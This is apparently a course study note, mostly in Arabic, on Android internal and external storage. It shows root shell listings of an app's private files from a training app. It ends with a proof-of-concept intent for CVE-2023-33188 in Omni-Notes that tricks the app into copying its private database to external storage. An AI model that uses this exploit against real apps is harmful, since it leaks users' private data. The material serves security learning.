12-Android Storage Overview

هنشوف ازاي الملفات بيتخزن داخل التطبيق وهنشوف ازاي نوصل اليها

1- Internal Storage وادي الملفات اللي بتبقي جوه التطبيق نفسه

- **Shared Preferences**
- **Cache**
- **Database**

بتبقي متخزنة بقي (Shared Preferences | Cache | Database)/data/data/apk-name/ بس لازم يبي معانا صلاحيات root access

```
generic_x86_arm:/data/data/io.hextree.attacksurface # ls
app_textures  app_webview  cache  code_cache  databases  files  flag35.txt  shared_prefs
generic_x86_arm:/data/data/io.hextree.attacksurface # X
```

1- Cache directory used to store temporary files

2- Files directory used to store the files of apk (file used in apk)

```
generic_x86_arm:/data/user/0/io.hextree.attacksurface # cd files
generic_x86_arm:/data/user/0/io.hextree.attacksurface/files # ls
flags  profileinstaller_profileWrittenFor_lastUpdateTime.dat  secret.txt  token.txt
generic_x86_arm:/data/user/0/io.hextree.attacksurface/files # cat secret.txt
```

3- Shared Preferences used to store files contain name : value --> like xml files

```
generic_x86_arm:/data/user/0/io.hextree.attacksurface # cd shared_prefs/
generic_x86_arm:/data/user/0/io.hextree.attacksurface/shared_prefs # ls
AwOriginVisitLoggerPrefs.xml  Flag36Preferences.xml  HextreePreferences.xml  WebViewChromiumPrefs.xml
generic_x86_arm:/data/user/0/io.hextree.attacksurface/shared_prefs # ca
```

4- database (and the database used in apk --> sqlite)

```
generic_x86_arm:/data/user/0/io.hextree.attacksurface # cd databases/
generic_x86_arm:/data/user/0/io.hextree.attacksurface/databases # ls
flag.db  flag.db-journal
generic_x86_arm:/data/user/0/io.hextree.attacksurface/databases # cat f
flag.db           flag.db-journal
generic_x86_arm:/data/user/0/io.hextree.attacksurface/databases # cat flag.db
:◆Lite f◆:{◆YtableNoteNoteCREATE TABLE Note (_id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, content TEX
T NOT NULL )P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)◆tableFlagFlagCREATE TABLE
Flag (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, visible INTEGER NOT NULL DEFAU
◆◆◆+Oflag33HXT{union-select-injection-1bs98}7secretThis is a secret notegeneric_x86_arm:/data/user/0/io.hextree.atta
cksurface/databases #
```

to work with sqlite

```
emulator64_arm64:/data/data/io.hextree.storagedemo # sqlite3 databases/example.db
SQLite version 3.22.0 2018-12-19 01:30:22
Enter ".help" for usage hints.
sqlite> .tables
android_metadata  example_table
sqlite> select * from example_table;
1|Hello, Database!
sqlite> PRAGMA table_info(example_table);
0|id|INTEGER|0||1
1|text|TEXT|0||0
sqlite>
```

2- External Storage

كانت بتتركب فيه microSD Storage بيحتوي بقي علي برضه نفس اللبيانات اللي internal مع بيانات تانية بقي اللي بيتفاعل التطبيق معاها فمثلا لو التطبيق بيستخدم camera فهيبقي في folder for images وبرضه بيحتوي علي download

path of external storage --> sdcard

```
generic_x86_arm:/ # cd sdcard/
generic_x86_arm:/sdcard # ls
Alarms    Audiobooks  Documents  Movies  Notifications  Podcasts
Android   DCIM        Download   Music   Pictures       Ringtones
generic_x86_arm:/sdcard #
```

Since Android 10, and especially Android 11, the scoped storage feature basically turned the "external storage" into a well protected storage similar to the traditional "internal storage".

> *"To give users more control over their files and to limit file clutter, apps that target Android 10 (API level 29) and higher are given scoped access into external storage, or scoped storage, by default. Such apps have access only to the app-specific directory on external storage, as well as specific types of media that the app has created."*

We recommend you to not just blindly report apps that use external storage, but rather carefully investigate and test whether you can actually access or leak these files or not. Impact always depends on the Android version usage and what API levels an app supports.

While apps can still use the permission `MANAGE_EXTERNAL_STORAGE` on Android 13+ to request access to all files on external storage, additionally the user must be directed to a special settings page where they have to enable "Allow access to manage all files" for the app.

ازاي بقي الثغرة ممكن تحصل هنا ؟

هو انا انتا مثلا لو التطبيق بيسمح ان انتا تستدعي فايل معين او مثلا تحط صورة فاجنا ممكن نستغل دي بدل ما نحط صورة لا نحط ملف من الي هو عامل لها Storage وبدل ما يتفتح الصورة لا هيفتح الملف اللي عنده وبكده يبقي عرفنا نعمل access to data storage

CVE for this Vulnerability is : CVE-2023-33188 (https://securitylab.github.com/advisories/GHSL-2022-065_Omni-Notes/)

هنا اهو الكود اللي ممكن احط صورة معينة

```
Intent intent = new Intent();
intent.setAction(Intent.ACTION_SEND);
intent.setType("image/*");
intent.putExtra(Intent.EXTRA_TEXT, "Malicious note");
intent.putExtra(Intent.EXTRA_STREAM,
Uri.parse("file:///storage/emulated/0/Android/data/it.feio.android.omninotes
/files/<filename>.jpg"));
intent.setClassName("it.feio.android.omninotes",
"it.feio.android.omninotes.MainActivity");
startActivity(intent);
```

بدل بقيما نحط صورة لا هنحط فايل هو مخزنه

```
Intent intent = new Intent();
intent.setAction(Intent.ACTION_SEND);
intent.setType("image/*");
intent.putExtra(Intent.EXTRA_TEXT, "Malicious note");
intent.putExtra(Intent.EXTRA_STREAM,
Uri.parse("file:///data/data/it.feio.android/omninote/database/omnie-
notes"));
intent.setClassName("it.feio.android.omninotes",
"it.feio.android.omninotes.MainActivity");
startActivity(intent);
```

Malicious note

```
emulator64_arm64:/sdcard/Android/data/it.feio.android.omninotes/files # ls
20240802_223051_133.jpg 20240802_224020_666.jpg
20240802_223242_785.jpg 20240802_224206_175
qlite3 20240802_224206_175
SQLite version 3.22.0 2018-12-19 01:30:22
Enter ".help" for usage hints.
sqlite> .tables
android_metadata  attachments       categories        notes
sqlite>
```